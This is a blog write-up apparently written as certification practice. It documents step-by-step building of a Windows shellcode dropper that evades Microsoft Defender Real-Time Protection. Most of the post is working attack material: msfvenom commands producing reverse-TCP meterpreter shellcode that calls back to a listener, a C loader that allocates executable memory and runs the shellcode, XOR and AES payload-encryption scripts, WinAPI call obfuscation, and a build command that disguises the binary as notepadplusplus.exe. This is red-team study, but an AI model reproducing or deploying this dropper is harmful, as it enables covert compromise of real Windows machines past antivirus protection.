Table of Contents

After taking an introductory malware development course I wanted to test what I learned against Microsoft Defender Real-Time Protection. It turned out to be easier than I thought.

Why did I do this?

I took the excellent introductory malware development course by Sektor7 and wanted to see if I could evade Windows Defender Real-Time Protection with what I had learned. In all honesty, it turned out to be easier than I expected.

I also thought this would be a good (and fun) way to practice AV evasion as prep for OffSec’s OSEP as well.

The plan

I wanted to implement all the seperate techniques I learned - but in one binary.

Put simply (and in no specific order) this is what I planned to do to try and bypass Defender

  • Obfuscate function calls with pointers into kernel32.dll
  • Obfuscate strings with XOR or AES encryption (like VirtualAlloc or VirtualProtect)
  • Obfuscate the payload with XOR or AES encryption
  • Make a GUI program using WinMain() to avoid command prompt popup
  • Anything else I can come up with that seems easy-ish to implement and understand

It’s fairly easy to bypass Defender’s static scanner, and I’ve done so before just by learning one or two techniques, but I wanted my executable to run without any detections being thrown.

As I went through the process I tested my different iterations against AntiScan.me, as well as running them in an up-to-date (April 14, 2023) Windows 10 22H2 virtual machine against Defender (with sample submission turned off ;) ) and with Real-Time Protection and Cloud-delivered Protection on.

First Iteration: Minimum Effort

I figured a good first step would just be getting the shellcode up and running to make sure that the payload works. I didn’t test this one out on AntiScan or Defender because it would’ve gotten detected immediately.

The payload is generated with msfvenom as below.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.4.64 LPORT=80 -f c > shell.raw

Then to run the shellcode I just used a basic template. The template does a regular allocation of read/write memory, copies shellcode into it, marks memory as executable, then runs it.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    unsigned char m_payload[] = "INSERT PAYLOAD HERE :)"
  
    unsigned int payload_len = sizeof(m_payload);

    // Allocate a memory buffer for payload
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Copy payload to new buffer
    RtlMoveMemory(exec_mem, m_payload, payload_len);

    // Make new buffer as executable
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
    
    // If all good, run the payload
    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

    return 0;
}

Trying to compile on my Windows VM targeting 64bit didn’t work - I realized that the meterpreter payload was 32bit and was unavailable in 64bit, so I started targeting 32bit on my Kali VM with mingw32. And it worked!

Then running the binary on the Windows VM.

And catching it in Kali.

It worked! It also got caught immediately by Defender without even running it, so I had to turn Defender all the way off to test it.

Second Iteration: XOR Encryption

After getting the payload working, it’s time to try to obfuscate it with XOR encryption. I wanted to try both XOR and AES to see which one was harder to detect.

I decided to start with XOR because it was easier to implement, using the below code taken from the Sektor7 course.

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
    int j;
    j = 0;
    for (int i = 0; i < data_len; i++) {
        if (j == key_len - 1) j = 0;
        data[i] = data[i] ^ key[j];
        j++;
    }
}

Before I decrypt anything, I need to encrypt my payload with the same key. I did this simply with a utility python script again from Sektor7.

import sys

KEY = "YoINk MIne nOw"

def xor(data, key):
	
	key = str(key)
	l = len(key)
	output_str = ""

	for i in range(len(data)):
		current = data[i]
		current_key = key[i % len(key)]
		output_str += chr(ord(current) ^ ord(current_key))
	
	return output_str

try:
    plaintext = open(sys.argv[1], "rb").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()


ciphertext = xor(plaintext, KEY)
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

I needed to encrypt the real raw file, not the C string code, so I generated the same meterpreter payload in a raw format

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.4.64 LPORT=80 -f raw > /mnt/shared/shell.raw

Then encrypted it with the python script above.

python2 xor.py shell.raw

... SNIP

To bring it all together I copied the XOR encrypted payload as well as the XOR decrypt function (and key) and put it in my main file.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
// ... SNIP
}

int main(void) {
// ... SNIP
    unsigned char m_payload[] = "XOR ENCRYPTED PAYLOAD"
  
    unsigned int payload_len = sizeof(m_payload);

    // Assign the key
    char key[] = "YoINk MIne nOw";

    // Allocate a memory buffer for payload
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Decrypt the payload
    XOR((char *) m_payload, payload_len, key, sizeof(key));

    // ... SNIP
        
    // Same VirtualProtect, etc. calls as before to run shellcode
}

Compiling and running the program again gave me a working meterpreter shell. Time to test out the EXE against AntiScan.

It looks pretty good for a first attempt, only being (statically) detected by 4/26 solutions.

Unfortunately in the live up-to-date test, just turning Defender on - it statically detected the exe instantly.

Lets give AES a shot next.

Third Iteration: AES Encryption

Another popular way to encrypt the paylaod is to use AES - naturally after XOR failed (could’ve also been operator error - In the future I want to try to use a larger key) I wanted to see how AES compares. The process for AES is very similar to XOR, all you need is an encrypted payload and a decrypt function.

The AES decrypt function is lifted from Sektor7’s course again, and uses the native WinAPI cryptographic library to decrypt AES.

#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>

int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
        HCRYPTPROV hProv;
        HCRYPTHASH hHash;
        HCRYPTKEY hKey;

        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                return -1;
        }
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
                return -1;
        }
        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
                return -1;              
        }
        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
                return -1;
        }
        
        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
                return -1;
        }
        
        CryptReleaseContext(hProv, 0);
        CryptDestroyHash(hHash);
        CryptDestroyKey(hKey);
        
        return 0;
}

To encrypt the initial payload I used Sektor7’s python2 utility below - it generates a random key of a set length and then outputs both the key and the AES encrypted payload in a C format.

import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib

KEY = urandom(19)

def pad(s):
	return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)

def aesenc(plaintext, key):

	k = hashlib.sha256(key).digest()
	iv = 16 * '\x00'
	plaintext = pad(plaintext)
	cipher = AES.new(k, AES.MODE_CBC, iv)

	return cipher.encrypt(bytes(plaintext))


try:
    plaintext = open(sys.argv[1], "rb").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()

ciphertext = aesenc(plaintext, KEY)
print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

Encrypting the payload (same as in XOR) is as simple as running the script with the file as an argument.

python2 aes.py shell.raw

AESkey[] = { 0x4d, 0x32, 0x84, 0x1, 0x4a, 0xd0, 0x23, 0xf0, 0xcf, 0xc5, 0xdf, 0xb, 0x27, 0xb1, 0x21, 0xd0, 0x99, 0x5a, 0x77 };
payload[] = { 0x1a, 0xcb, 0xc8, 0xe7, 0xe4, 0x86, 0xac, 0xbf, 0xc9, ...
... SNIP

Then pasted the encrypted payload, the key, and the decrypt function into the main malware file to get the AES encrypted version of my malware.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>

int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
// ... SNIP
}

int main(void) {

        void * exec_mem;
        BOOL rv;
        HANDLE th;

    DWORD oldprotect = 0;

        char AESkey[] = "AES KEY HERE"
        char m_payload[] = "AES ENCRYPTED PAYLOAD"
        unsigned int payload_len = sizeof(m_payload);

        // Allocate a memory buffer for payload
        exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        
        // Decrypt the payload in a similar way to XOR
        AESDecrypt((char *) m_payload, payload_len, AESkey, sizeof(AESkey));
        
        // ... SNIP
        
        // Same VirtualProtect, etc. calls as before to run shellcode
}

Compiling it, I could see that the results are slightly different from XOR - there are the same number of detections but one of them is from a different solution, Emsisoft instead of F-Secure.

When I turned on Defender it didn’t flag the file either, progress! On running the exe it ran for about 10 seconds before getting demolished by Defender - still progress :).

From now on, will be using the AES version of the payload.

Fourth Iteration: Variable Obfuscation

This is where I just messed with all the variable names and contents so it didn’t read like an obvious malware exe - or at least I hoped so.

I replaced all values of “payload” with a “temp_str” and the AES function with “str_length” and so on - but no luck, the payload wasn’t compiled with debug symbols or anything so not sure why it would work in retrospect.

No changes in the detections either from the AES iteration.

Fifth Iteration: WinAPI Function Obfuscation

This is where things got more interesting - instead of directly calling the WinAPI functions (like VirtualProtect), you can pull out a pointer to their location in kernel32.dll and use a function pointer to call them.

I used this method to obfuscate the VirtualProtect, ExecThread, and WaitForSingleObject functions, getting the pointer with a call to GetProcAddress and GetModuleHandle.

To get the pointer to the function locations inside of kernel32.dll, you need both the string literal “kernel32.dll” and the string literal of the function name ex: “VirtualProtect”.

GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");

Since these strings can also be fingerprinted, I encrypted them with AES and gave each string its own key - to be decrypted at runtime. I also renamed the variables again, since it seems like it doesn’t really matter, I gave them more descriptive names - first letter of each word in what it is, and for the key just added an _k

The code is pretty long, so I only included the parts that I changed.

// ... SNIP

// Function pointers that have the same params as the WinAPI counterparts

BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress,
                                SIZE_T dwSize,
                                DWORD  flNewProtect,
                                PDWORD lpflOldProtect);
HANDLE (WINAPI * pCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes,
                                SIZE_T dwStackSize,
                                LPTHREAD_START_ROUTINE  lpStartAddress,
                                __drv_aliasesMem LPVOID lpParameter,
                                DWORD dwCreationFlags,
                                LPDWORD lpThreadId
                                );
DWORD (WINAPI * pWaitForSingleObject)(HANDLE hHandle,
                                      DWORD  dwMilliseconds
                                      );
int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
        DWORD oldprotect = 0;
        
    // Payload and payload key
	char p[] = { PAYLOAD };
	char p_k[] = { KEY };

    // kernel32.dll string and key
    char dl_k[] = { KEY };
    char dl[] = { STRING };

    // VirtualAlloc string and key
    char vp_k[] = { KEY };
    char vp[] = { STRING };

    // CreateThread string and key
    char ct_k[] = { STRING };
    char ct[] = { KEY };
        
    // WaitForSingleObject string and key
    char wfso_k[] = { KEY };
    char wfso[] = { STRING };

	// Allocate a memory buffer for payload
	exec_mem = VirtualAlloc(0, sizeof(p), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	d_a((char *) p, sizeof(p), p_k, sizeof(p_k));
        d_a((char* ) dl, sizeof(dl), dl_k, sizeof(dl_k));
        d_a((char *) vp, sizeof(vp), vp_k, sizeof(vp_k));
        d_a((char *)ct, sizeof(ct), ct_k, sizeof(ct_k));
        d_a((char* ) wfso, sizeof(wfso), wfso_k, sizeof(wfso_k));

        dl[12] = '\0';
        vp[14] = '\0';
        ct[12] = '\0';
        wfso[19] = '\0';

	// Copy payload to new buffer
	RtlMoveMemory(exec_mem, p, sizeof(p));

    // Find and assign VirtualProtect
    pVirtualProtect = GetProcAddress(GetModuleHandle(dl), vp);

	// Make new buffer as executable
	rv = pVirtualProtect(exec_mem, sizeof(p), PAGE_EXECUTE_READ, &oldprotect);

	// If all good, run the payload
	if ( rv != 0 ) {
                        // find and assign CreateThread
                        pCreateThread = GetProcAddress(GetModuleHandle(dl), ct);
			th = pCreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
                        
                        // find and assign WaitForSingleObject        
                        pWaitForSingleObject = GetProcAddress(GetModuleHandle(dl), wfso);
			pWaitForSingleObject(th, -1);
	}

	return 0;
}

Compiling and running the binary, I did a little better, with only 3/26 vendors detecting it. Live though, Defender killed it immediately.

Sixth Iteration: Accidental Success

I told someone I was trying to get open-source Meterpreter through defender, and they said that will be more difficult than something else that isn’t very fingerprinted by AV solutions. I thought that all open source C2 frameworks would be fingerprinted up and down by Microsoft - they are open source after all.

But why not, trying a different C2 beacon payload couldn’t hurt - there are a LOT to choose from, all free and all on github (all of them for “educational purposes” no doubt). I went with one that is actively updated and seemed to be well liked, the Havoc C2 framework.

I followed the installation instructions on my Kali VM and got the teamserver up and running, and created a shellcode payload with the below options. I also started an HTTPS listener.

Then took the shellcode, AES encrypted it the same way as in the AES iteration above with the python script, and copied it into my source code file.

I also changed my compilation methodology in this step, using gcc on my Windows VM to compile the program as the payload is now 64bits.

gcc pong.c -o notepadplusplus.exe

I ran it to make sure it worked, playing around with the powershell invokation and whatever else came out of the box with Havoc.

On submission to AntiScan - results were numerically the same, but this time it seems like the AV solutions are detecting and flagging the dropper itself. It also called my dropper “generic” which hurt my feelings a little bit.

At this point I was a little dissapointed, but figured it wouldn’t hurt to try and run the binary with Real-Time Protection turned on - just in case it worked.

I went back to my Windows VM to turn Real-Time Protection on again to test it live… and I had Real-Time Protection on the whole time!

I didn’t expect it at all, I thought for sure Defender would demolish my executable like it had done so many times before.

To double check and make sure that Windows wasn’t detecting my executable because I compiled it on the same machine I ran it on, I loaded up a second Windows 10 VM from an ISO, updated it fully, and downloaded my script onto it. It ran without any detections again!

At this point all that was left was to polish up the binary a little bit so that there wouldn’t be an obvious “you are being hacked” command prompt pop up whenever the binary is executed.

Seventh Iteration: Cleaning House

At this point my dropper looked pretty disgusting code-wise, but it worked, and thats all that matters.

The last step is to make it slightly less hideous when double clicked, so I just have to use a WinMain() function that will compile the file as a GUI program so there will be no command prompt pop up.

Swapping out int main(void) for

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow)

From here, I installed Visual Studio, and then compiled with cl.exe because I couldn’t find the right flags with gcc. To compile as a GUI program I just took the compilation command provided in Sektor7’s course, swapped out /SUBSYSTEM:CONSOLE for /SUBSYSTEM:WINDOWS and compiled my HAVOC.c source file.

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /TcHAVOC.c /link /OUT:notepadplusplus.exe /SUBSYSTEM:WINDOWS /MACHINE:x64

Then moved the compiled executable notepadplusplus.exe over to my second Windows 10 VM for testing and validation.

Here is a video of the test itself. I make sure everything is up to date, show that Real-Time Protection and Cloud-Delivered Protection are on and that I don’t have any exclusions - then run the executable and catch the beacon on my Kali machine.

Conclusion and Next Steps

I learned a lot from doing this project, and was a little surprised at how easy it was to get around Defender.

In my sixth iteration I changed two things technically, both the payload and the method of compilation - using the compiler on Windows instead of cross-compiling on Kali. When compiling the same file on Kali I noticed it was different to the one I made on Windows. I’d like to see if the compiler I use (and associated flags) have any effect on detection, I can imagine something like the -O3 optimization flag having some effect for example.

Some more projects I’d like to do as a followup

  • Make my own custom Windows x64 shellcode creation tool (C -> Compilation -> Extract shellcode)
  • Make a bare-bones C2 server implementation
  • Create a dropper that is entirely undetected by AntiScan and eventually VirusTotal
  • Try to make a dropper in other languages, namely PowerShell and Rust

Thanks for reading :)